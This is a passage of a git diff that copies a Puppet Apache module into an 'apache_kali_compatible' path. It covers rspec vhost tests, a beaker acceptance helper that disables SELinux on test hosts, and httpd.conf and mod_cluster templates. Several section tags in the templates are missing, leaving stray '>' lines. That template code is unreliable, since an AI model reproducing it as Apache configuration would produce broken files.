contain_concat__fragment('rspec.example.com-directories') } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Allow from 127\.0\.0\.1$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Allow from 127\.0\.0\.2$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Allow from 127\.0\.0\.5$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Deny from 127\.0\.0\.3$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Deny from 127\.0\.0\.4$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Deny from all$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Satisfy any$/ ) } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Order deny,allow$/ ) } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-additional_includes') } + it { is_expected.to contain_concat__fragment('rspec.example.com-logging') } + it { is_expected.to contain_concat__fragment('rspec.example.com-serversignature') } + it { is_expected.to contain_concat__fragment('rspec.example.com-access_log') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-action') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-block') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-error_document') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-proxy') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-rack') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-redirect') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-rewrite') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-scriptalias') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-serveralias') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-setenv') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-ssl') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-sslproxy') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-suphp') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-php_admin') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-header') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-requestheader') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-wsgi') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-custom_fragment') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-fastcgi') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-suexec') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-charsets') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-limits') } + it { is_expected.to contain_concat__fragment('rspec.example.com-file_footer') } + end + context 'when not setting nor managing the docroot' do + let :params do + { + 'docroot' => false, + 'manage_docroot' => false, + } + end + it { is_expected.to compile } + it { is_expected.not_to contain_concat__fragment('rspec.example.com-docroot') } + end + context 'ssl_proxyengine without ssl' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'ssl' => false, + 'ssl_proxyengine' => true, + } + end + it { is_expected.to compile } + it { is_expected.not_to contain_concat__fragment('rspec.example.com-ssl') } + it { is_expected.to contain_concat__fragment('rspec.example.com-sslproxy') } + end + context 'ssl_proxy_protocol without ssl_proxyengine' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'ssl' => true, + 'ssl_proxyengine' => false, + 'ssl_proxy_protocol' => 'TLSv1.2', + } + end + it { is_expected.to compile } + it { is_expected.to contain_concat__fragment('rspec.example.com-ssl') } + it { is_expected.not_to contain_concat__fragment('rspec.example.com-sslproxy') } + end + end + describe 'access logs' do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + context 'single log file' do + let(:params) do + { + 'docroot' => '/rspec/docroot', + 'access_log_file' => 'my_log_file', + } + end + it { is_expected.to contain_concat__fragment('rspec.example.com-access_log').with( + :content => /^\s+CustomLog.*my_log_file" combined\s*$/ + )} + end + context 'single log file with environment' do + let(:params) do + { + 'docroot' => '/rspec/docroot', + 'access_log_file' => 'my_log_file', + 'access_log_env_var' => 'prod' + } + end + it { is_expected.to contain_concat__fragment('rspec.example.com-access_log').with( + :content => /^\s+CustomLog.*my_log_file" combined\s+env=prod$/ + )} + end + context 'multiple log files' do + let(:params) do + { + 'docroot' => '/rspec/docroot', + 'access_logs' => [ + { 'file' => '/tmp/log1', 'env' => 'dev' }, + { 'file' => 'log2' }, + { 'syslog' => 'syslog', 'format' => '%h %l' } + ], + } + end + it { is_expected.to contain_concat__fragment('rspec.example.com-access_log').with( + :content => /^\s+CustomLog "\/tmp\/log1"\s+combined\s+env=dev$/ + )} + it { is_expected.to contain_concat__fragment('rspec.example.com-access_log').with( + :content => /^\s+CustomLog "\/var\/log\/httpd\/log2"\s+combined\s*$/ + )} + it { is_expected.to contain_concat__fragment('rspec.example.com-access_log').with( + :content => /^\s+CustomLog "syslog" "%h %l"\s*$/ + )} + end + end # access logs + describe 'validation' do + let :default_facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + context 'bad ensure' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'ensure' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad suphp_engine' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'suphp_engine' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad ip_based' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'ip_based' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad access_log' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'access_log' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad error_log' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'error_log' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad_ssl' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'ssl' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad default_vhost' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'default_vhost' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad ssl_proxyengine' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'ssl_proxyengine' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad rewrites' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'rewrites' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad rewrites 2' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'rewrites' => ['bogus'], + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'empty rewrites' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'rewrites' => [], + } + end + let :facts do default_facts end + it { is_expected.to compile } + end + context 'bad suexec_user_group' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'suexec_user_group' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad wsgi_script_alias' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'wsgi_script_alias' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad wsgi_daemon_process_options' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'wsgi_daemon_process_options' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad wsgi_import_script_alias' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'wsgi_import_script_alias' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad itk' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'itk' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad logroot_ensure' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'log_level' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad log_level' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'log_level' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'access_log_file and access_log_pipe' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'access_log_file' => 'bogus', + 'access_log_pipe' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'error_log_file and error_log_pipe' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'error_log_file' => 'bogus', + 'error_log_pipe' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad fallbackresource' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'fallbackresource' => 'bogus', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad custom_fragment' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'custom_fragment' => true, + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'bad access_logs' do + let :params do + { + 'docroot' => '/rspec/docroot', + 'access_logs' => '/var/log/somewhere', + } + end + let :facts do default_facts end + it { expect { is_expected.to compile }.to raise_error } + end + context 'default of require all granted' do + let :params do + { + 'docroot' => '/var/www/foo', + 'directories' => [ + { + 'path' => '/var/www/foo/files', + 'provider' => 'files', + }, + ], + + } + end + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '7', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :kernelversion => '3.19.2', + :is_pe => false, + } + end + + it { is_expected.to compile } + it { is_expected.to contain_concat('25-rspec.example.com.conf') } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories') } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Require all granted$/ ) } + end + context 'require unmanaged' do + let :params do + { + 'docroot' => '/var/www/foo', + 'directories' => [ + { + 'path' => '/var/www/foo', + 'require' => 'unmanaged', + }, + ], + + } + end + let :facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '7', + :concat_basedir => '/dne', + :operatingsystem => 'RedHat', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :kernelversion => '3.19.2', + :is_pe => false, + } + end + + it { is_expected.to compile } + it { is_expected.to contain_concat('25-rspec.example.com.conf') } + it { is_expected.to contain_concat__fragment('rspec.example.com-directories') } + it { is_expected.to_not contain_concat__fragment('rspec.example.com-directories').with( + :content => /^\s+Require all granted$/ ) + } + end + end +end diff --git a/modules/services/unix/http/apache/spec/fixtures/files/negotiation.conf b/modules/services/unix/http/apache_kali_compatible/apache/spec/fixtures/files/negotiation.conf similarity index 100% rename from modules/services/unix/http/apache/spec/fixtures/files/negotiation.conf rename to modules/services/unix/http/apache_kali_compatible/apache/spec/fixtures/files/negotiation.conf diff --git a/modules/services/unix/http/apache/spec/fixtures/files/spec b/modules/services/unix/http/apache_kali_compatible/apache/spec/fixtures/files/spec similarity index 100% rename from modules/services/unix/http/apache/spec/fixtures/files/spec rename to modules/services/unix/http/apache_kali_compatible/apache/spec/fixtures/files/spec diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/fixtures/site_apache/templates/fake.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/spec/fixtures/site_apache/templates/fake.conf.erb new file mode 100644 index 000000000..019debfe4 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/fixtures/site_apache/templates/fake.conf.erb @@ -0,0 +1 @@ +Fake template for rspec. diff --git a/modules/services/unix/http/apache/spec/fixtures/templates/negotiation.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/spec/fixtures/templates/negotiation.conf.erb similarity index 100% rename from modules/services/unix/http/apache/spec/fixtures/templates/negotiation.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/fixtures/templates/negotiation.conf.erb diff --git a/modules/services/unix/http/apache/spec/spec_helper.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/spec_helper.rb similarity index 100% rename from modules/services/unix/http/apache/spec/spec_helper.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/spec_helper.rb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/spec/spec_helper_acceptance.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/spec_helper_acceptance.rb new file mode 100644 index 000000000..c652104c2 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/spec/spec_helper_acceptance.rb @@ -0,0 +1,77 @@ +require 'beaker-rspec/spec_helper' +require 'beaker-rspec/helpers/serverspec' +require 'beaker/puppet_install_helper' +require 'beaker/module_install_helper' + +run_puppet_install_helper +install_module_on(hosts) +install_module_dependencies_on(hosts) + +RSpec.configure do |c| + c.filter_run :focus => true + c.run_all_when_everything_filtered = true + # apache on Ubuntu 10.04 and 12.04 doesn't like IPv6 VirtualHosts, so we skip ipv6 tests on those systems + if fact('operatingsystem') == 'Ubuntu' and (fact('operatingsystemrelease') == '10.04' or fact('operatingsystemrelease') == '12.04') + c.filter_run_excluding :ipv6 => true + end + + # Readable test descriptions + c.formatter = :documentation + + # detect the situation where PUP-5016 is triggered and skip the idempotency tests in that case + # also note how fact('puppetversion') is not available because of PUP-4359 + if fact('osfamily') == 'Debian' && fact('operatingsystemmajrelease') == '8' && shell('puppet --version').stdout =~ /^4\.2/ + c.filter_run_excluding :skip_pup_5016 => true + end + + # Configure all nodes in nodeset + c.before :suite do + # net-tools required for netstat utility being used by be_listening + if fact('osfamily') == 'RedHat' && fact('operatingsystemmajrelease') == '7' + pp = <<-EOS + package { 'net-tools': ensure => installed } + EOS + + apply_manifest_on(agents, pp, :catch_failures => false) + end + + if fact('osfamily') == 'Debian' + # Make sure snake-oil certs are installed. + shell 'apt-get install -y ssl-cert' + end + + # Install module and dependencies + hosts.each do |host| + # Required for mod_passenger tests. + if fact('osfamily') == 'RedHat' + on host, puppet('module','install','stahnma/epel') + on host, puppet('module','install','puppetlabs/inifile') + #we need epel installed, so we can get plugins, wsgi, mime ... + pp = <<-EOS + class { 'epel': } + EOS + + apply_manifest_on(host, pp, :catch_failures => true) + end + + # Required for manifest to make mod_pagespeed repository available + if fact('osfamily') == 'Debian' + on host, puppet('module','install','puppetlabs-apt') + end + + # Make sure selinux is disabled so the tests work. + on host, puppet('apply', '-e', + %{"exec { 'setenforce 0': path => '/bin:/sbin:/usr/bin:/usr/sbin', onlyif => 'which setenforce && getenforce | grep Enforcing', }"}) + end + end +end + +shared_examples "a idempotent resource" do + it 'should apply with no errors' do + apply_manifest(pp, :catch_failures => true) + end + + it 'should apply a second time without changes', :skip_pup_5016 do + apply_manifest(pp, :catch_changes => true) + end +end diff --git a/modules/services/unix/http/apache/spec/spec_helper_local.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/spec_helper_local.rb similarity index 100% rename from modules/services/unix/http/apache/spec/spec_helper_local.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/spec_helper_local.rb diff --git a/modules/services/unix/http/apache/spec/unit/apache_version_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/unit/apache_version_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/unit/apache_version_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/unit/apache_version_spec.rb diff --git a/modules/services/unix/http/apache/spec/unit/provider/a2mod/gentoo_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/unit/provider/a2mod/gentoo_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/unit/provider/a2mod/gentoo_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/unit/provider/a2mod/gentoo_spec.rb diff --git a/modules/services/unix/http/apache/spec/unit/puppet/parser/functions/bool2httpd_spec.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/unit/puppet/parser/functions/bool2httpd_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/unit/puppet/parser/functions/bool2httpd_spec.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/unit/puppet/parser/functions/bool2httpd_spec.rb diff --git a/modules/services/unix/http/apache/spec/unit/puppet/parser/functions/validate_apache_log_level.rb b/modules/services/unix/http/apache_kali_compatible/apache/spec/unit/puppet/parser/functions/validate_apache_log_level.rb similarity index 100% rename from modules/services/unix/http/apache/spec/unit/puppet/parser/functions/validate_apache_log_level.rb rename to modules/services/unix/http/apache_kali_compatible/apache/spec/unit/puppet/parser/functions/validate_apache_log_level.rb diff --git a/modules/services/unix/http/apache/templates/confd/no-accf.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/confd/no-accf.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/confd/no-accf.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/confd/no-accf.conf.erb diff --git a/modules/services/unix/http/apache/templates/fastcgi/server.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/fastcgi/server.erb similarity index 100% rename from modules/services/unix/http/apache/templates/fastcgi/server.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/fastcgi/server.erb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/templates/httpd.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/httpd.conf.erb new file mode 100755 index 000000000..d5b31c738 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/templates/httpd.conf.erb @@ -0,0 +1,157 @@ +# Security +ServerTokens <%= @server_tokens %> +ServerSignature <%= scope.function_bool2httpd([@server_signature]) %> +TraceEnable <%= scope.function_bool2httpd([@trace_enable]) %> + +ServerName "<%= @servername %>" +ServerRoot "<%= @server_root %>" +PidFile <%= @pidfile %> +Timeout <%= @timeout %> +KeepAlive <%= @keepalive %> +MaxKeepAliveRequests <%= @max_keepalive_requests %> +KeepAliveTimeout <%= @keepalive_timeout %> +LimitRequestFieldSize <%= @limitreqfieldsize %> +# Actually >= 2.4.24, but the minor version is not provided +<%- if @http_protocol_options and scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%> +HttpProtocolOptions <%= @http_protocol_options %> +<%- end -%> + +<%- if @rewrite_lock and scope.function_versioncmp([@apache_version, '2.2']) <= 0 -%> +RewriteLock <%= @rewrite_lock %> +<%- end -%> + +User <%= @user %> +Group <%= @group %> + +AccessFileName .htaccess +> +<%- if scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%> + Require all denied +<%- else -%> + Order allow,deny + Deny from all + Satisfy all +<%- end -%> + + + + Options <%= Array(@root_directory_options).join(' ') %> + AllowOverride None +<%- if @root_directory_secured -%> +<%- if scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%> + Require all denied +<%- else -%> + Order deny,allow + Deny from all +<%- end -%> +<%- end -%> + + +<% if @default_charset -%> +AddDefaultCharset <%= @default_charset %> +<% end -%> + +<%- if scope.function_versioncmp([@apache_version, '2.4']) < 0 -%> +DefaultType <%= @default_type %> +<%- end -%> +HostnameLookups Off +<%- if /^[|\/]/.match(@error_log) || /^syslog:/.match(@error_log) -%> +ErrorLog "<%= @error_log %>" +<%- else -%> +ErrorLog "<%= @logroot %>/<%= @error_log %>" +<%- end -%> +LogLevel <%= @log_level %> +EnableSendfile <%= @sendfile %> +<%- if @allow_encoded_slashes -%> +AllowEncodedSlashes <%= @allow_encoded_slashes %> +<%- end -%> +<%- if @file_e_tag -%> +FileETag <%= @file_e_tag %> +<%- end -%> + +#Listen 80 + +<% if @apxs_workaround -%> +# Workaround: without this hack apxs would be confused about where to put +# LoadModule directives and fail entire procedure of apache package +# installation/reinstallation. This problem was observed on FreeBSD (apache22). +#LoadModule fake_module libexec/apache22/mod_fake.so +<% end -%> + +Include "<%= @mod_load_dir %>/*.load" +<% if @mod_load_dir != @confd_dir and @mod_load_dir != @vhost_load_dir -%> +Include "<%= @mod_load_dir %>/*.conf" +<% end -%> +Include "<%= @ports_file %>" + +<% unless @log_formats.has_key?('combined') -%> +LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined +<% end -%> +<% unless @log_formats.has_key?('common') -%> +LogFormat "%h %l %u %t \"%r\" %>s %b" common +<% end -%> +<% unless @log_formats.has_key?('referer') -%> +LogFormat "%{Referer}i -> %U" referer +<% end -%> +<% unless @log_formats.has_key?('agent') -%> +LogFormat "%{User-agent}i" agent +<% end -%> +<% unless @log_formats.has_key?('forwarded') -%> +LogFormat "%{X-Forwarded-For}i %l %u %t \"%r\" %s %b \"%{Referer}i\" \"%{User-agent}i\"" forwarded +<% end -%> +<% if @log_formats and !@log_formats.empty? -%> + <%- @log_formats.sort.each do |nickname,format| -%> +LogFormat "<%= format -%>" <%= nickname %> + <%- end -%> +<% end -%> + +<%- if scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%> +IncludeOptional "<%= @confd_dir %>/*.conf" +<%- else -%> +Include "<%= @confd_dir %>/*.conf" +<%- end -%> +<% if @vhost_load_dir != @confd_dir -%> +<%- if scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%> +IncludeOptional "<%= @vhost_load_dir %>/<%= @vhost_include_pattern %>" +<%- else -%> +Include "<%= @vhost_load_dir %>/<%= @vhost_include_pattern %>" +<%- end -%> +<% end -%> + +<% if @error_documents -%> +# /usr/share/apache2/error on debian +Alias /error/ "<%= @error_documents_path %>/" + +> + AllowOverride None + Options IncludesNoExec + AddOutputFilter Includes html + AddHandler type-map var +<%- if scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%> + Require all granted +<%- else -%> + Order allow,deny + Allow from all +<%- end -%> + LanguagePriority en cs de es fr it nl sv pt-br ro + ForceLanguagePriority Prefer Fallback + + +ErrorDocument 400 /error/HTTP_BAD_REQUEST.html.var +ErrorDocument 401 /error/HTTP_UNAUTHORIZED.html.var +ErrorDocument 403 /error/HTTP_FORBIDDEN.html.var +ErrorDocument 404 /error/HTTP_NOT_FOUND.html.var +ErrorDocument 405 /error/HTTP_METHOD_NOT_ALLOWED.html.var +ErrorDocument 408 /error/HTTP_REQUEST_TIME_OUT.html.var +ErrorDocument 410 /error/HTTP_GONE.html.var +ErrorDocument 411 /error/HTTP_LENGTH_REQUIRED.html.var +ErrorDocument 412 /error/HTTP_PRECONDITION_FAILED.html.var +ErrorDocument 413 /error/HTTP_REQUEST_ENTITY_TOO_LARGE.html.var +ErrorDocument 414 /error/HTTP_REQUEST_URI_TOO_LARGE.html.var +ErrorDocument 415 /error/HTTP_UNSUPPORTED_MEDIA_TYPE.html.var +ErrorDocument 500 /error/HTTP_INTERNAL_SERVER_ERROR.html.var +ErrorDocument 501 /error/HTTP_NOT_IMPLEMENTED.html.var +ErrorDocument 502 /error/HTTP_BAD_GATEWAY.html.var +ErrorDocument 503 /error/HTTP_SERVICE_UNAVAILABLE.html.var +ErrorDocument 506 /error/HTTP_VARIANT_ALSO_VARIES.html.var +<% end -%> diff --git a/modules/services/unix/http/apache/templates/listen.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/listen.erb similarity index 100% rename from modules/services/unix/http/apache/templates/listen.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/listen.erb diff --git a/modules/services/unix/http/apache/templates/mod/alias.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/alias.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/alias.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/alias.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/auth_cas.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/auth_cas.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/auth_cas.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/auth_cas.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/auth_mellon.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/auth_mellon.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/auth_mellon.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/auth_mellon.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/authn_dbd.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/authn_dbd.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/authn_dbd.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/authn_dbd.conf.erb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/authnz_ldap.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/authnz_ldap.conf.erb new file mode 100644 index 000000000..ed1334ec2 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/authnz_ldap.conf.erb @@ -0,0 +1,5 @@ +<% if @verify_server_cert == true -%> +LDAPVerifyServerCert On +<% else -%> +LDAPVerifyServerCert Off +<% end -%> diff --git a/modules/services/unix/http/apache/templates/mod/autoindex.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/autoindex.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/autoindex.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/autoindex.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/cgid.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/cgid.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/cgid.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/cgid.conf.erb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/cluster.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/cluster.conf.erb new file mode 100644 index 000000000..58229a88a --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/cluster.conf.erb @@ -0,0 +1,26 @@ +Listen <%= @ip %>:<%= @port %> +:<%= @port %>> + + Order deny,allow + Deny from all + Allow from <%= @allowed_network %> + + + KeepAliveTimeout <%= @keep_alive_timeout %> + MaxKeepAliveRequests <%= @max_keep_alive_requests %> + EnableMCPMReceive <%= scope.function_bool2httpd([@enable_mcpm_receive]) %> + + ManagerBalancerName <%= @balancer_name %> + ServerAdvertise <%= scope.function_bool2httpd([@server_advertise]) %> + <%- if @server_advertise == true and @advertise_frequency != nil -%> + AdvertiseFrequency <%= @advertise_frequency %> + <%- end -%> + + + SetHandler mod_cluster-manager + Order deny,allow + Deny from all + Allow from <%= @manager_allowed_network %> + + + diff --git a/modules/services/unix/http/apache/templates/mod/dav_fs.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/dav_fs.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/dav_fs.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/dav_fs.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/deflate.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/deflate.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/deflate.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/deflate.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/dir.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/dir.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/dir.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/dir.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/disk_cache.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/disk_cache.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/disk_cache.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/disk_cache.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/dumpio.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/dumpio.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/dumpio.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/dumpio.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/event.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/event.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/event.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/event.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/expires.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/expires.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/expires.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/expires.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/ext_filter.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/ext_filter.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/ext_filter.conf.erb rename to 